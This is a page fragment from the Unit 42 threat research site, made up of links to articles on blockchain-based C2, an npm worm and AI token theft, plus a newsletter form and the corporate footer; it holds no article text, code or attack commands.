  ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/)

* [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum")

* [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain")

* [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications")  
  ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm")  
  ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/)

* [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API")

* [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway")

* [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42

## Peace of mind comes from staying ahead of threats. Subscribe today.

Your Email

Subscribe for email updates to all Unit 42 threat research.  
By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement")

This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply.

Invalid captcha!
Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} Products and Services

* [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security)

* [Secure AI by Design](https://www.paloaltonetworks.com/ai-security)

* [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs)

* [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security)

* [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security)

* [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall)

* [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations)

* [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.com/network-security/panorama)

* [Secure Access Service Edge](https://www.paloaltonetworks.com/sase)

* [Prisma SASE](https://www.paloaltonetworks.com/sase)

* [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration)

* [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.com/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan)

* [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security)

* [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex)

* [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud)

* [AI-Driven SOC](https://www.paloaltonetworks.com/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse)

* [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response)

* [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam)

* [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira)

* [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management)

* [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager)

* [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance)

* [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management)

* [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic)

* [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management)

* [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance)

* [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery)

* [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access)

* [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42)

* [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/frontier-ai-defense)

* [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses)

* [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy)

* [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence)

* [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond)  
  Company

* [About Us](https://www.paloaltonetworks.com/about-us)

* [Careers](https://jobs.paloaltonetworks.com/en/)

* [Contact Us](https://www.paloaltonetworks.com/company/contact-sales)

* [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [Customers](https://www.paloaltonetworks.com/customers)

* [Investor Relations](https://investors.paloaltonetworks.com/)

* [Location](https://www.paloaltonetworks.com/about-us/locations)

* [Newsroom](https://www.paloaltonetworks.com/company/newsroom)  
  Popular Links

* [Blog](https://www.paloaltonetworks.com/blog/)

* [Communities](https://www.paloaltonetworks.com/communities)

* [Content Library](https://www.paloaltonetworks.com/resources)

* [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia)

* [Event Center](https://events.paloaltonetworks.com/)

* [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center)

* [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z)

* [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications)

* [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure)

* [Sitemap](https://www.paloaltonetworks.com/sitemap)

* [Tech Docs](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.com/)

* [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)